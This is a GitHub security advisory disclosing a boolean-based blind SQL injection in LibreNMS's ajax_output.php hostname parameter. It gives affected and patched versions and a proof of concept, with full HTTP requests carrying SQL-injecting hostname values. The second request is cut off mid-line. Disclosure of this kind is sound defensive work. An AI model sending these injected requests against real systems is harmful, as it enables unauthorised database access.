GitHub Security Advisory: GHSA-6pmj-xjxp-p8g9
Package: librenms/librenms (COMPOSER)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 25.10.0
Patched in: 25.11.0

Summary: LibreNMS is vulnerable to SQL Injection (Boolean-Based Blind) in hostname parameter in ajax_output.php endpoint

Details:
## Summary

A **Boolean-Based Blind SQL Injection** vulnerability was identified in the LibreNMS application at the `/ajax_output.php` endpoint. The `hostname` parameter is interpolated directly into an SQL query without proper sanitization or parameter binding, allowing an attacker to manipulate the query logic and infer data from the database through conditional responses.

---

## Details

- **Vulnerable Endpoint:** `GET /ajax_output.php
   
- **Parameter:** `hostname`

- **Authentication Required:** Admin privileges required to access `/ajax_output.php` discovery endpoint

- **Vulnerability type:** Boolean-Based Blind SQL Injection — input is concatenated into a SQL statement without proper escaping

---

## Description

The LibreNMS application uses the `hostname` parameter during device discovery operations to query the database for matching devices.  
However, user-supplied data is concatenated directly into the SQL query within `/opt/librenms/includes/html/output/capture.inc.php` without adequate sanitization..

This allows attackers to modify the query logic using Boolean expressions.  
When crafted conditions evaluate to **true**, the application behaves normally and returns the expected device data.  
When conditions evaluate to **false**, the response is altered (e.g., the queried host is not found).

This difference in behavior confirms that the parameter’s value is being interpreted as SQL logic, demonstrating a **Boolean-Based Blind SQL Injection**.

Note: This vulnerability requires an authenticated user with **administrator privileges** to access the affected discovery functionality. While this limits exploitation to internal or compromised admin sessions, the vulnerability still represents a critical security risk due to the ability to manipulate backend SQL logic in privileged contexts.

---

## Proof of Concept (PoC)

1 - **Authenticate with an administrator account.**  
The discovery endpoint `/ajax_output.php` is accessible only to users with admin-level privileges.

2 - Access the following URL with the payload that evaluates to `TRUE`:

```
GET /ajax_output.php?id=capture&format=text&type=discovery&hostname=10.0.5.4'+AND+1=1+AND+'1'='1 HTTP/1.1
Host: 10.0.5.5:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.0.5.5:8000/device/3/capture
Cookie: laravel_session=[ADMIN_SESSION_COOKIE]
Priority: u=0
```

3 - Observe that the system returns the expected data and triggers the discovery process.

<img width="1507" height="666" alt="image" src="https://github.com/user-attachments/assets/584e871a-a01a-4bad-8e09-c6dcb0e6cd1d" />

4 - Now repeat the request with a `FALSE` condition:

```
GET /ajax_output.php?id=capture&format=text&type=discovery&hostname=10.0.5.4'+AND+1=2+AND+'1'='1 HTTP/1.1
Host: 10.0.5.5:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.0.5.5:8000/device/3/capture
Cookie: l